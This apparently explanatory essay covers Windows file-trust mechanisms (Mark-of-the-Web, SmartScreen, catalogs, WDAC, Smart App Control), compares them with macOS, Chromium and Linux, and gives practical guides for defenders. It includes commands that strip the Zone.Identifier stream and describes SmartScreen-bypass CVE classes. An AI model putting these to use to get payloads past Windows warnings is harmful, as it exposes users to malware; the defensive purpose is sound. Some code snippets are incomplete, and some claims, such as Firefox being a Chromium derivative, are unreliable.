A Windows 11 22H2+ execution-control feature, documented at Microsoft Learn [@learn-microsoft-com-control-overview], that runs in one of three modes -- Off, Evaluation, or Enforcement. It is fundamentally a WDAC policy whose decision input is the Intelligent Security Graph reputation backend (the same one SmartScreen and WDAC + ISG consume). It is fail-closed in Enforcement mode and clean-install-only. Microsoft's cloud-side reputation backend, used by WDAC and Smart App Control [@learn-microsoft-com-security-graph]. It uses the same telemetry and machine-learning analytics that power SmartScreen and Microsoft Defender Antivirus. WDAC consumes it via "policy rule option 14" (`Enabled:Intelligent Security Graph Authorization`). Positive ISG verdicts are cached on disk as the `$KERNEL.SMARTLOCKER.ORIGINCLAIM` NTFS extended attribute so subsequent boots can skip the cloud call.

So that is the three-layer architecture and its integration point. With the framing established, we can finally describe what production looks like in Windows 11 24H2 in 2025.

6. State of the Art: Windows 11 24H2 in 2025

What does file trust look like in production? Six sub-systems, told from the bottom up.

6.1 MOTW today

Every supported Windows SKU since Windows 10 reads and writes the Zone.Identifier ADS through the same vocabulary defined in 2004. The on-disk format is the UTF-16 INI block from MS-FSCC [@learn-microsoft-com-8c39-2516a9df36e8]. Microsoft Edge in 2025 writes a stream that looks like this:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=<origin page URL>
HostUrl=<payload URL>
LastWriterPackageFamilyName=Microsoft.MicrosoftEdge_8wekyb3d8bbwe
AppZoneId=3

The full key set is documented across two Microsoft Learn pages. ZoneId and the conceptual ReferrerUrl and HostUrl keys are in the MS-FSCC Zone.Identifier reference [@learn-microsoft-com-8c39-2516a9df36e8]. The AppDefinedZoneId and LastWriterPackageFamilyName keys, added in the Windows 10 era, are on the IZoneIdentifier2 reference [@learn-microsoft-com-apis-mt243886vvs85]).

The supported write surface is IAttachmentExecute, defined in shobjidl_core.h. Microsoft Learn's interface reference [@learn-microsoft-com-shobjidlcore-iattachmentexecute] enumerates its methods: CheckPolicy, Execute, Prompt, Save, SaveWithUI, SetClientGuid, SetFileName, SetLocalPath, SetReferrer, SetSource. A browser-style caller does CoCreateInstance(CLSID_AttachmentServices, ...) followed by SetClientGuid, SetSource, SetLocalPath, SetReferrer, SetFileName, and finally Save (which writes the ADS and triggers the registered AV/AMSI scanner) and Execute (which displays the Attachment Manager prompt before launching).

{ // Simulates the contents of a typical Edge-written Zone.Identifier // stream and walks through what each key means. const ads = \[ZoneTransfer] ZoneId=3 ReferrerUrl= HostUrl= LastWriterPackageFamilyName=Microsoft.MicrosoftEdge_8wekyb3d8bbwe AppZoneId=3`;

const URLZONE_NAMES = [ 'URLZONE_LOCAL_MACHINE', 'URLZONE_INTRANET', 'URLZONE_TRUSTED', 'URLZONE_INTERNET', 'URLZONE_UNTRUSTED', ];

const fields = parseZoneIdentifier(ads); console.log('ZoneId:', fields.ZoneId, '(' + URLZONE_NAMES[Number(fields.ZoneId)] + ')'); console.log('HostUrl:', fields.HostUrl); console.log('ReferrerUrl:', fields.ReferrerUrl); console.log('LastWriterPackageFamilyName:', fields.LastWriterPackageFamilyName); console.log('\n# PowerShell equivalent:'); console.log('# Get-Content -Path foo.exe -Stream Zone.Identifier'); `}

The IZoneIdentifier interfaces -- IZoneIdentifier from XP SP2 and IZoneIdentifier2 with the new keys -- are the lower-level read/write surface for the ADS itself, useful when a caller wants to inspect or modify the stream without going through the full Attachment Execution Service path. The cost of bypassing IAttachmentExecute is exactly that: skipping the Attachment Manager hooks (AMSI, the registered AV scanner). EDR vendors who write MOTW out-of-band must go through the COM path, not directly through WriteFile, or they silently disable the documented integration.

6.2 SmartScreen Application Reputation today

When a process with MOTW = Internet Zone launches, SmartScreen sends three signals to Microsoft's cloud, all on the consumer side of the IAttachmentExecute::Execute path:

The file-hash signal: SHA-256 of the file content.
The publisher signal: the Authenticode certificate identity from the PE Attribute Certificate Table -- the certificate's subject fields, thumbprint, and chain. The Microsoft Learn reputation-for-developers page [@learn-microsoft-com-smartscreen-reputation] is unambiguous about one thing: EV classification is not a reputation factor (the verbatim Microsoft statement is in the PullQuote below).
The URL signal: the HostUrl and ReferrerUrl from the MOTW ADS, plus the navigation URL if the launch was initiated from a browser.

EV certificates no longer bypass SmartScreen. Years ago, signing files with an Extended Validation (EV) code signing certificate would result in positive SmartScreen reputation by default, but this behavior no longer exists. -- Microsoft Learn, *SmartScreen reputation for Windows app developers* The cloud-backed file-and-publisher reputation oracle that shipped with Internet Explorer 9 in 2010 and was integrated into the Windows Shell with Windows 8 in October 2012. Today it is queried via the Microsoft Defender SmartScreen [@learn-microsoft-com-defender-smartscreen] overview page's documented signals (publisher + file hash + URL). The backend returns "known good," "known bad," or "unknown"; the unknown case triggers the two-stage "Windows protected your PC" prompt.

The privacy posture is documented but not exhaustively detailed: the file hash, the certificate identity, and the URL are sent to Microsoft. The cloud-side ledger refreshes on a 24-hour cadence per the ISG documentation [@learn-microsoft-com-security-graph]. That has a practical implication you might not expect: a binary that was flagged as suspicious at 09:00 may be re-flagged as known-good at 09:00 the next day, depending on what telemetry rolled in.

The two-stage UX is the user-visible artefact. Stage one is the "Windows protected your PC -- Microsoft Defender SmartScreen prevented an unrecognized app from starting" dialog whose only button is "Don't run." Stage two requires a click on "More info" before the publisher field appears and a "Run anyway" button becomes available. The friction is intentional: a single oblivious click cannot launch an unreputed binary.

6.3 The Authenticode catalog file format

A catalog file is a PKCS#7 / CMS SignedData structure. The contained ContentInfo is a Microsoft-defined SpcIndirectDataContent blob, identical in shape to the one inside an embedded Authenticode signature in a PE file. The 2008 Windows Authenticode Portable Executable Signature Format spec [@download-microsoft-com-d599bac8184a-authenticodepedocx] and the current PE Format reference [@learn-microsoft-com-pe-format] are the load-bearing primaries.

The catalog's signedData.encapContentInfo.eContent lists members: for each member, a hash (SHA-1 historically, SHA-256 on modern catalogs), a hash-algorithm OID, and a set of attribute pairs (OSAttr, HWID, MemberInfo). The catalog is signed once; the single signature covers every listed member hash. The cost model is favourable for bulk-signing scenarios: $O(1)$ signature verification amortises across $N$ member hashes.

On disk, system catalogs live under %SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE} and the working store CatRoot2. Both directories are managed by the Cryptographic Services (cryptsvc) Windows service. The WDK Catalog files and digital signatures page [@learn-microsoft-com-catalog-files] records the install path: "The system installs the catalog file to the CatRoot directory under the system directory returned by GetSystemDirectory, for example, %SystemRoot%\System32\CatRoot."The {F750E6C3-38EE-11D1-85E5-00C04FC295EE} GUID has been the canonical Windows system catalog directory identifier since Windows 2000. It is observable on any Windows install and appears in the inf2cat test-signing documentation; the page that names it most explicitly has moved more than once over the years, but the GUID itself has not changed.

When code-integrity calls WinVerifyTrust [@learn-microsoft-com-wintrust-winverifytrust] on a file with no embedded Authenticode signature -- which is, for example, every in-box cmd.exe, notepad.exe, and most of %SystemRoot%\System32 -- the trust provider falls through to a catalog lookup. The fall-through is: hash the file with CryptCATAdminCalcHashFromFileHandle [@learn-microsoft-com-mscat-cryptcatadmincalchashfromfilehandl], walk catalogs with CryptCATAdminEnumCatalogFromHash, and if a match is found, re-verify the catalog's signature against the same chain rules. The path is essentially:

verify(file) :=
    if embedded_signature(file) is present:
        return WinVerifyTrust(file, WINTRUST_ACTION_GENERIC_VERIFY_V2)
    else:
        h := CryptCATAdminCalcHashFromFileHandle(file)
        cat := CryptCATAdminEnumCatalogFromHash(h)
        if cat == NULL: return TRUST_E_NOSIGNATURE
        return WinVerifyTrust(cat, WINTRUST_ACTION_GENERIC_VERIFY_V2)

{` // JavaScript pseudocode model of WinVerifyTrust's catalog fall-through. // Demonstrates why cmd.exe, which has no embedded Authenticode signature, // still verifies as Microsoft-signed in production.

// 1. A simulated CatRoot2 index: catalog file -> { member-hash -> attrs } const catRoot2 = { 'nt5.cat': { 'aa11bb22...cmd.exe.hash': { member: 'cmd.exe', osAttr: '2:6.4,2:10.0', // Windows 8 and 10+ }, 'cc33dd44...notepad.exe.hash': { member: 'notepad.exe', osAttr: '2:10.0', }, }, // ...thousands more in real CatRoot2 }; const catSigner = 'CN=Microsoft Windows, O=Microsoft Corporation';

function calcHash(file) { // Real implementation: CryptCATAdminCalcHashFromFileHandle (SHA-256) return file + '.hash'; }

function enumCatalogFromHash(h) { for (const [catFile, members] of Object.entries(catRoot2)) { if (h in members) return { catFile, member: members[h] }; } return null; }

const cmdExe = { name: 'aa11bb22...cmd.exe', embeddedSignature: null }; const result = winVerifyTrust(cmdExe); console.log(result); // { ok: true, signer: '... Microsoft Windows ...', viaCatalog: 'nt5.cat' } `}

That fall-through is how unsigned in-box Windows binaries verify as Microsoft-trusted at load time. It is also how WHQL driver packages work, and it is the substrate the Trusted Root branch of Smart App Control relies on for the off-line case.

flowchart TD Start["WinVerifyTrust(file, -- WINTRUST_ACTION_GENERIC_VERIFY_V2)"] Embed{"File has -- embedded sig?"} Hash["CryptCATAdminCalcHashFromFileHandle"] Enum["CryptCATAdminEnumCatalogFromHash"] Found{"Catalog -- found?"} VerifyEmb["Verify embedded PKCS#7"] VerifyCat["Verify catalog PKCS#7"] Ok["TRUST_OK"] NoSig["TRUST_E_NOSIGNATURE"] Start --> Embed Embed -->|"yes"| VerifyEmb VerifyEmb --> Ok Embed -->|"no"| Hash Hash --> Enum Enum --> Found Found -->|"yes"| VerifyCat VerifyCat --> Ok Found -->|"no"| NoSig

6.4 The relationship to WDAC and Smart App Control

Windows Defender Application Control (WDAC; renamed "App Control for Business" in 2023, though the WDAC label persists in policy XML and most documentation) is a kernel-mode code-integrity engine. It enforces an explicit policy of allowed publishers, file hashes, and paths. By itself, WDAC is the strict-allowlist counterpart to SmartScreen's reputation-based warning. With the Enabled:Intelligent Security Graph Authorization rule -- "policy rule option 14" [@learn-microsoft-com-security-graph] -- WDAC also accepts ISG verdicts as authorisation for files the policy did not explicitly list.

The Microsoft Learn ISG page is unambiguous about the mechanism: "The ISG isn't a 'list' of apps. Rather, it uses the same vast security intelligence and machine learning analytics that power Microsoft Defender SmartScreen and Microsoft Defender Antivirus ... processed every 24 hours. As a result, the decision from the cloud can change ... Files authorized based on the installer's reputation will have the $KERNEL.SMARTLOCKER.ORIGINCLAIM kernel Extended Attribute (EA) written to the file."The $KERNEL.SMARTLOCKER.ORIGINCLAIM NTFS extended attribute is the on-disk cache of a positive ISG verdict. Subsequent boots can skip the cloud call by consulting the EA. The Enabled:Invalidate EAs on Reboot policy rule is the explicit knob for forcing a re-evaluation on every boot, useful for high-assurance configurations where you do not want a stale verdict to survive a reboot.

Smart App Control on consumer Windows 11 is, structurally, a WDAC AllowAll policy minus an ISG-driven blocklist. The decision input is the same ISG backend that powers SmartScreen. The execution point is the same kernel-mode code-integrity engine that enforces enterprise WDAC. The Trusted Root signature branch is the catalog-of-trust off-line escape hatch. Here is how the three signals feed Smart App Control's gate:

flowchart TD Launch["ShellExecute on MOTW=3 file"] Origin["Read Zone.Identifier ADS"] Trigger{"MOTW=3?"} Reputation["ISG cloud lookup -- (hash + cert + URL)"] KnownGood{"ISG verdict = -- known_good?"} Signature["WinVerifyTrust -- (catalog fall-through)"] TrustedRoot{"Signer in -- Trusted Root Program?"} Allow["Allow (kernel-mode launch)"] Block["Block (SAC modal, no override)"] Launch --> Origin Origin --> Trigger Trigger -->|"no"| Allow Trigger -->|"yes"| Reputation Reputation --> KnownGood KnownGood -->|"yes"| Allow KnownGood -->|"no / unknown"| Signature Signature --> TrustedRoot TrustedRoot -->|"yes"| Allow TrustedRoot -->|"no"| Block

6.5 The legacy of "Microsoft Defender SmartScreen extension"

The phrase "Microsoft Defender SmartScreen extension" appears in third-party guides constantly. It is almost always wrong.

The only product Microsoft ever shipped as a *browser extension* implementing SmartScreen behaviour was the **Windows Defender Browser Protection** Chrome extension. It was a Microsoft-developed extension that brought SmartScreen URL reputation to Google Chrome on Windows and macOS. Microsoft retired the extension during 2022; users opening Chrome on November 29, 2022 saw a Microsoft-issued in-extension notice [@bleepingcomputer-com-being-retired] reading *"Developer support for this extension is complete and will be expiring soon"* and directing them to Microsoft Edge. The former Chrome Web Store listing [@chrome-google-com-browser-bkbeeeffjjeopflfhgeknacdieedcoblj] now returns no extension page, and the Microsoft Defender SmartScreen overview [@learn-microsoft-com-defender-smartscreen] makes no claim about an active replacement. Today SmartScreen is a built-in Edge component, an OS Settings page (*Reputation-based protection*), and the kernel-adjacent SAC engine. It is *not* a browser extension. The OS-level execution-control path -- `IAttachmentExecute` plus the Attachment Execution Service -- is reachable from the OS and from Edge; it cannot be reached from a Chrome or Firefox extension because the extension API surface does not expose it.

6.6 What's left of the security boundary

The three-layer architecture is not invulnerable. Three things it does not do, by construction:

It does not stop a user who clicks "More info -> Run anyway." That branch is deliberate and we will return to why in Section 8.
It does not protect against well-reputed-but-now-malicious software. Elastic's writeup on Smart App Control names this reputation hijacking: an attacker compromises or repurposes a binary that genuinely has positive reputation. SmartScreen says "known good" because the file really was known good before its current use. The class is, in Elastic's framing, generic to all reputation-based protection systems.
It depends on propagators. Every .lnk, .url, .iso, and archive extraction path is a potential carrier for the MOTW signal. When one of those paths drops MOTW, the entire catalog of trust silently disengages for that file. That is the whole substance of the 2022-2024 CVE arc, and it is not a closed problem.

The story so far is Windows-internal. Other operating systems have their own catalog-of-trust analogues. None of them have all three layers.

7. Beyond the Microsoft Stack: How macOS, Chromium, and Linux Compare

Every major desktop OS now has something that looks like Microsoft's catalog of trust. None of them have all three layers, and each one optimises a different point in the fail-open vs. fail-closed spectrum.

macOS Gatekeeper + com.apple.quarantine + Notarization

The direct architectural analogue: macOS Gatekeeper. The Apple Platform Security guide [@support-apple-com-sec5599b66df-web] describes Gatekeeper as a check that "verifies that the software is from an identified developer, is notarized by Apple to be free of known malicious content, and hasn't been altered."

Apple's server-side malware scan, mandatory for non-App-Store distribution on macOS Catalina (2019) and later. The developer submits each binary to Apple; Apple's automated scan produces a *ticket* the developer staples to the application bundle (or that Gatekeeper fetches online at first launch). Without a notarization ticket, the default Gatekeeper policy refuses to run the binary, with no in-product override short of right-clicking and choosing Open.

Three pieces compose: com.apple.quarantine is the extended attribute that quarantine-aware downloaders (Safari, Chrome, Mail, AirDrop) write -- structurally the peer of Zone.Identifier. Gatekeeper is the launch-time consumer -- structurally the peer of the Attachment Execution Service plus SmartScreen. Notarization is the cloud-side scan -- structurally the peer of SmartScreen reputation, with one important difference: it is mandatory, not optional, and it produces a stapleable ticket that lets Gatekeeper run fail-closed by default. Microsoft has no equivalent notarization requirement on Windows; the only Windows mechanism that comes close is Smart App Control Enforcement, and it is opt-in by clean install rather than universal.

Chromium Safe Browsing v5

Google's Safe Browsing v5 hashList API [@developers-google-com-v5-hashlist] is the cross-platform URL/file reputation service every Chromium derivative uses (Chrome, Edge, Brave, Opera, and Firefox). The current protocol uses rice-delta-encoded SHA-256 prefix lists; the browser fetches a local list of variable-length hash prefixes, checks navigated URLs against the prefix list, and only consults the server when there is a prefix match -- a privacy-preserving design that lets the server learn only that some client queried something matching this prefix, not the actual URL. The v4 documentation [@developers-google-com-browsing-v4] makes the privacy posture explicit: "You exchange data with the server infrequently (only after a local hash prefix match) and using hashed URLs, so the server never knows the actual URLs queried by the clients."

What Safe Browsing does not do is integrate with OS-level execution control. There is no equivalent of MOTW. Once a file is on disk, the OS has no Safe-Browsing-supplied origin tag to consume. Safe Browsing is a different point on the latency / privacy / coverage triangle: better privacy, narrower scope, no execution-time enforcement.

Linux distribution package signing

RPM (1995) [@rpm-org-abouthtml] and dpkg [@en-wikipedia-org-wiki-dpkg] / APT (1994-1998) [@en-wikipedia-org-wiki-aptsoftware]) shipped signed package repositories before Windows had Authenticode. The signing primitive is OpenPGP detached signatures on per-repository manifests, with per-package SHA-256 hashes in the manifest and out-of-band distribution of the repository public keys. Reproducible builds [@reproducible-builds-org-who-projects] (Debian, NixOS, Tor Browser, and other participating distributions) extend the trust property: a third party can rebuild and verify that the published binary matches the source.

Linux gives you strong publisher attestation for packaged software. It gives you nothing for files fetched with curl, downloaded from a website, or sideloaded via AppImage / Flatpak / Snap. There is no per-file origin tag. There is no graduated reputation. There is no execution-time check. Linux collapses the three-signal model to one signal (publisher attestation for packaged software) and accepts the corresponding gap.

Property	Windows (SAC)	macOS (Gatekeeper + Notarization)	Chromium (Safe Browsing v5)	Linux (package signing)
Origin tag	MOTW (`Zone.Identifier`)	`com.apple.quarantine` xattr	None	None
Reputation	SmartScreen / ISG cloud	Notarization ticket (binary present / absent)	Safe Browsing hash prefix lookup	None
Publisher attestation	Authenticode + catalogs	Developer ID code signature	None	OpenPGP per-repo signature
Default policy	Warn (override allowed); Block (SAC Enforcement)	Block (right-click override)	Warn	Block packaged / allow ad-hoc
Cloud dependency	Required for unknown files	Required at first launch (ticket then cached)	Required only on prefix match	None
Scope	OS-wide (every launch)	OS-wide (every first launch)	Browser-only	Package manager only

Microsoft's stack is uniquely layered; each peer architecture collapses to one or two of the three signals. Each makes a different trade-off between coverage and friction. None of them removes the limit at the other end of the spectrum: the user.

8. Theoretical Limits: What Reputation Cannot Decide

Three things no file-trust system can do by construction. These are not bugs. They are upper bounds.

Provenance erasure is unavoidable

A user who right-clicks and creates a new text document writes a file with no MOTW by definition. A process that writes to NTFS without going through the Attachment Execution Service writes a file with no MOTW. A copy onto FAT or exFAT and back strips the ADS. The catalog of trust is not a cryptographic origin proof; it is a hint that survives common-but-not-all copy paths. Closing this bound requires either tagging every file write at the file-system layer (breaking the UNIX-style scripting model and approximating what macOS notarization-required-for-launch does at a higher layer) or refusing to launch any file without a tag, which is exactly what Smart App Control's Enforcement mode does at the cost of breaking unsigned legitimate software.

Reputation is an inductive signal

A brand-new file or certificate cannot have reputation by definition. Reputation accumulates from telemetry, and any reputation system must either fail-open on unknowns (Windows: warn but allow override) or fail-closed (macOS Gatekeeper with the default policy, SAC Enforcement: refuse). There is no third option. Microsoft chose fail-open with friction, and that choice creates a permanent class of "valid certificate, low reputation" social-engineering bypasses. Apple chose fail-closed with notarization as the explicit unknown-to-known transition path. Both choices are defensible. Neither is wrong.

The user is the last gate

"More info -> Run anyway" is not a bug. It is a deliberate concession to usability and to the unsigned-software long tail that Windows has historically supported. Any system the user can override is upper-bounded in security by the user's willingness to override. The only way to remove the bound is to remove the override, which is exactly the iOS sealed-application model -- and what Smart App Control Enforcement approaches on consumer Windows.

Key idea: Reputation is an inductive signal; the catalog of trust is a hint that survives common copy paths; and the user is the last gate. None of these are bugs. They are upper bounds. The system can only close the gap between them by removing user override, which is exactly what Smart App Control Enforcement does.

The temptation, looking at the 2022-2024 CVE arc, is to say macOS's mandatory-notarisation fail-closed model is "more secure" and Windows should adopt it. The argument is weaker than it looks. Fail-closed breaks first-day legitimate software, which on macOS is acceptable because the Mac platform has, throughout its modern history, treated software as something that flows through the Mac App Store or through identified developers willing to participate in notarization. Windows has, throughout *its* modern history, treated software as something that flows in arbitrary forms from arbitrary publishers: enterprise line-of-business apps from a vendor whose name is unfamiliar; one-off utilities from a developer's personal site; CI/CD builds of in-house tooling. Refusing to launch any of those by default breaks the platform's core compatibility promise. The Windows trade-off is friction over coverage; the macOS trade-off is coverage over friction. Neither is strictly better, and the right answer depends on whose long tail you are protecting.

If those are the upper bounds, what active problems are researchers and Microsoft engineers still working to close?

9. Open Problems in 2025

Five places where the security model is still moving.

MOTW on non-NTFS file systems

ReFS, FAT, exFAT, and most network file systems either do not implement NTFS alternate data streams or implement them inconsistently. There is no documented Microsoft transport for "Zone.Identifier on non-NTFS." The community-maintained archiver matrix [@github-com-support-comparison] documents the problem from the archiver side. USB sticks and SD cards (FAT32 / exFAT by default) are the dominant copy paths in real malware delivery, and they are exactly the file systems that drop MOTW silently. Workarounds in the wild include zipping marked files inside a container that itself has MOTW, but propagation across the extraction step is exactly the class CVE-2022-41049 (the ZIP sibling of CVE-2022-41091, documented in 0patch's ZIP write-up [@blog-0patch-com-mark-ofhtml]) addressed -- and is therefore exactly where the next propagator bug will live.

Smart App Control silently disabling itself

Microsoft Learn's SAC overview [@learn-microsoft-com-control-overview] records the behaviour bluntly: "If we detect that you're one of those users, we automatically turn Smart App Control off so you can work with fewer interruptions." SAC ships in Evaluation mode by default on supported clean installs and may auto-disable rather than auto-promoting to Enforcement based on telemetry. Microsoft documents the existence of the threshold but not the threshold itself. The de-facto enforced base is unknown; Elastic's Dismantling Smart App Control [@elastic-co-app-control] flagged the consequence: claims about SAC effectiveness in production are hard to evaluate absolutely.

The shortcut surface remains a moving target

Three of the last four years of SmartScreen-class CVEs (CVE-2023-36025, CVE-2024-21412, CVE-2024-38217) pivoted through shortcut canonicalisation or chained-shortcut MOTW propagation. Microsoft patches each variant individually rather than enforcing a clean rule like "any shortcut whose target is not on the same volume must propagate MOTW from the shortcut to the resolved target." The shortcut surface is decidable (you could write the propagation rule above) but it is not minimal: Microsoft has chosen, so far, to patch the surface bug-by-bug rather than to deploy the rule.

SmartScreen on non-Edge browsers

The retirement of the Windows Defender Browser Protection Chrome extension during 2022 left a coverage gap that no shipping Microsoft product fills. Smart App Control plus the OS-level Attachment Execution Service can partially compensate -- a file downloaded by Chrome that ends up in Internet Zone gets the OS-level launch check -- but the URL-time warning, the kind that catches the user before the file is on disk, is not available on non-Edge browsers in 2025.

ML-augmented reputation failure modes

Microsoft has stated that SmartScreen and ISG use machine-learning analytics in addition to telemetry. The standard ML-system failure modes -- adversarial examples, classifier drift, training-data poisoning -- have not been studied openly for SmartScreen on a common corpus. Drift is bounded by the documented 24-hour cloud refresh cadence in the ISG documentation [@learn-microsoft-com-security-graph], but the worst-case dependence on the ML decision function is opaque.

There is also the cross-platform benchmark gap: no public, peer-reviewed empirical comparison of SmartScreen, Gatekeeper-with-Notarization, and Safe Browsing detection on a common malware corpus exists. AV-Test and AV-Comparatives publish anti-malware engine benchmarks but explicitly exclude reputation-only systems. Elastic's writeup addresses Windows internally but not cross-platform. Practitioners choosing an OS or browser security architecture have no apples-to-apples data.

Those are the open problems. The closed problem -- how to use the catalog of trust correctly today -- has a fairly small set of recipes for each audience.

10. Practical Guide

Four audiences, one short subsection each. Concrete commands, supported APIs, and the things newcomers always get wrong.

For an admin or IT pro

Read MOTW on a file:

# Returns the [ZoneTransfer] INI block if the ADS exists; otherwise errors
Get-Content -Path 'C:\Users\u\Downloads\payload.exe' -Stream Zone.Identifier

Write it (rare, but useful for testing):

$content = @"
[ZoneTransfer]
ZoneId=3
HostUrl=<source URL>
"@
Add-Content -Path '.\test.exe' -Stream Zone.Identifier -Value $content

Strip it (convenience, not a security boundary -- see Section 11):

# Either of these works:
Unblock-File -Path '.\test.exe'
Remove-Item -Path '.\test.exe' -Stream Zone.Identifier

Enumerate the system catalog directories under %SystemRoot%\System32\CatRoot and verify a binary against them with signtool:

signtool verify /a /v /pa /kp cmd.exe

signtool verify /a walks the system catalog roots when the file has no embedded signature; /pa selects the default authentication verification policy (the same policy WinVerifyTrust uses), and /kp enables kernel-mode driver-policy verification, which is what tells you whether the catalog covers the file under WHQL-style rules.

Enabling Smart App Control on consumer Windows 11 is a clean install operation -- the Microsoft Learn overview is explicit that SAC cannot be enabled on a system that has already been used. Deploying WDAC + ISG in an enterprise is documented at the Microsoft Learn ISG WDAC page [@learn-microsoft-com-security-graph] and is the practical enterprise SOTA on devices SAC cannot reach.

For a malware analyst or incident responder

What to look for in Zone.Identifier:

The HostUrl field is a frequent pivot to the attacker's delivery infrastructure. A HostUrl pointing at a known phishing kit's domain is a hard tell.
Mismatched ZoneId and LastWriterPackageFamilyName (for example, ZoneId=0 with LastWriterPackageFamilyName=Microsoft.MicrosoftEdge) is suspicious; legitimate writers do not produce that combination.
An absent Zone.Identifier on a file demonstrably delivered through a browser, mail client, or archive is the signature of a propagator gap or a deliberate strip.

How to spot a known SmartScreen-bypass attempt:

Malformed Authenticode signatures in JS or MSI payloads (the CVE-2022-44698 / CVE-2023-24880 class). Tools like signtool verify /v will report the parse failure.
.url files with URL= pointing at a remote .cpl, .bat, or other launch-capable target (the CVE-2023-36025 class).
.lnk files whose LinkTarget has an unusual extended-path encoding -- trailing dots or spaces, whole-path-in-a-single-segment, or relative-only forms (the CVE-2024-38217 class). AhnLab's writeup [@asec-ahnlab-com-en-90299] gives concrete byte-level examples.

For a developer shipping a signed app

Your installer will trigger "Unknown publisher" on day one even with a valid Authenticode signature, because reputation has to accumulate from real-world telemetry and -- since approximately 2020 -- EV certificates no longer fast-path that accumulation. The Microsoft Learn reputation page [@learn-microsoft-com-smartscreen-reputation] is the canonical reference for the developer-side reputation model. Microsoft Artifact Signing (formerly Trusted Signing, formerly Azure Code Signing, currently around $10/month with no hardware token and CI/CD integration) is the cheapest documented modern path to a publishable Authenticode signature.Microsoft Artifact Signing (formerly Trusted Signing, formerly Azure Code Signing) at roughly $10/month is the cheapest documented path to a publishable Authenticode signature with no hardware token requirement. For small publishers, it is the modern alternative to a self-hosted HSM workflow. The corresponding SmartScreen reputation still has to accumulate from telemetry, however -- buying a signing service does not buy reputation.

If you ship your own downloader (rare, but consumer apps sometimes do), call IAttachmentExecute::Save [@learn-microsoft-com-shobjidlcore-iattachmentexecute] for the file you just downloaded. That triggers the registered AV scanner and AMSI hooks. Writing the Zone.Identifier ADS directly via WriteFile skips them.

Note: If you write MOTW from your own downloader or EDR product, call IAttachmentExecute::Save rather than writing the Zone.Identifier ADS directly via WriteFile. The Shell COM path triggers the Attachment Manager hooks -- AMSI, the registered AV scanner -- that downstream defenders rely on. The direct-write path silently bypasses them, which is sometimes useful for testing but never the right production choice.

For an EDR or sandbox vendor

The MOTW propagation contract you must honour: every code path that copies, extracts, mounts, or saves a marked file must re-write the Zone.Identifier stream onto the destination. The 2022-2024 CVE arc is a public record of where Microsoft itself missed propagators -- ISO mounts, Outlook attachment saves, .url handling, .lnk canonicalisation. Any EDR with file-write hooks that re-materialises files (sandbox extraction, quarantine release, transparent decryption of EFS) must propagate MOTW or it creates the same class of bypass on its own surface.

The $KERNEL.SMARTLOCKER.ORIGINCLAIM NTFS extended attribute is the WDAC-side cache of a positive ISG verdict; respect it in your filter driver if you implement code-integrity overlays. Use IZoneIdentifier / IZoneIdentifier2 for reads (low-level, no AV hook) and IAttachmentExecute::Save for writes (Shell-level, triggers the documented hooks). And remember: writing the ADS via WriteFile is not equivalent to going through Shell COM. The Shell path is what downstream defenders are listening on.

1. **Writing the ADS via `WriteFile` instead of `IAttachmentExecute`.** Skips the registered AV / AMSI scan. 2. **Trusting `Unblock-File` as a security boundary.** It is a convenience cmdlet; any user-mode process can do the same thing. 3. **Conflating SmartScreen with Microsoft Defender Antivirus.** Different engines, different ETW providers, different cloud backends. 4. **Assuming EV certs grant instant SmartScreen reputation.** They do not, as of approximately 2020 (Microsoft Learn [@learn-microsoft-com-smartscreen-reputation]). 5. **Assuming a Microsoft Defender SmartScreen browser extension exists for Chrome or Firefox.** The Windows Defender Browser Protection extension was discontinued during 2022; no replacement exists. 6. **Calling `WinVerifyTrust` on a file with no embedded signature and stopping at `TRUST_E_NOSIGNATURE`.** The catalog fall-through is the canonical path; hash with `CryptCATAdminCalcHashFromFileHandle`, enumerate with `CryptCATAdminEnumCatalogFromHash`, then re-verify the catalog. 7. **Trusting SAC's "On" state to mean Enforcement.** Settings distinguishes On (Enforcement) from Evaluation; Enforcement is a much smaller deployment population.

11. Frequently Asked Questions

No, not since approximately 2020. The Microsoft Learn reputation-for-developers page [@learn-microsoft-com-smartscreen-reputation] states it explicitly: *"EV certificates no longer bypass SmartScreen. Years ago, signing files with an Extended Validation (EV) code signing certificate would result in positive SmartScreen reputation by default, but this behavior no longer exists."* Reputation accumulates from telemetry regardless of certificate class. Buying an EV certificate today buys you the publisher identity assertion; it does not buy you a SmartScreen fast path. Only if the USB stick is NTFS. FAT, FAT32, and exFAT (the default for most USB sticks and SD cards out of the box) cannot store NTFS alternate data streams; the `Zone.Identifier` ADS is silently lost on copy. Network file systems behave inconsistently; some preserve streams, most do not. This is one of the documented open problems in Section 9. No. `Unblock-File` is a convenience cmdlet that deletes the `Zone.Identifier` stream. Any process running as the user can do the same thing (`Remove-Item -Stream Zone.Identifier` does the work directly; so does a raw `DeleteFile` on the ADS name). MOTW is a metadata hint, not an access-control mechanism. No. They are separate engines with separate Event Tracing for Windows providers, separate cloud backends, and separate user-experience surfaces. SmartScreen is cloud reputation plus URL filtering. Microsoft Defender Antivirus is local plus cloud signatures plus behavioural detection. Correlating SmartScreen verdicts with Defender events is a Microsoft Defender for Endpoint integration problem, not a single-engine query. No. The Microsoft-developed *Windows Defender Browser Protection* Chrome extension, the only browser-extension form of SmartScreen Microsoft ever shipped, was retired during 2022 (the former Chrome Web Store listing [@chrome-google-com-browser-bkbeeeffjjeopflfhgeknacdieedcoblj] no longer hosts the extension). No replacement exists. Third-party guides that still claim such an extension is available are out of date. The OS-level Attachment Execution Service plus Smart App Control covers some of the gap for files downloaded with non-Edge browsers, but the URL-time warning is unavailable on Chrome and Firefox in 2025. No. The Windows operating system itself relies on catalog signatures for most in-box binaries. Open any default Windows install and inspect `cmd.exe`, `notepad.exe`, or the in-box satellite DLLs under `%SystemRoot%\System32`: most have no embedded Authenticode signature. They verify through `WinVerifyTrust`'s catalog fall-through against the system catalogs (path and `cryptsvc` lineage covered in §6.3). Catalogs are also the substrate WHQL driver packaging and Windows Update rely on. They are far from obsolete; they are the off-line trust root the whole catalog-of-trust architecture rests on.

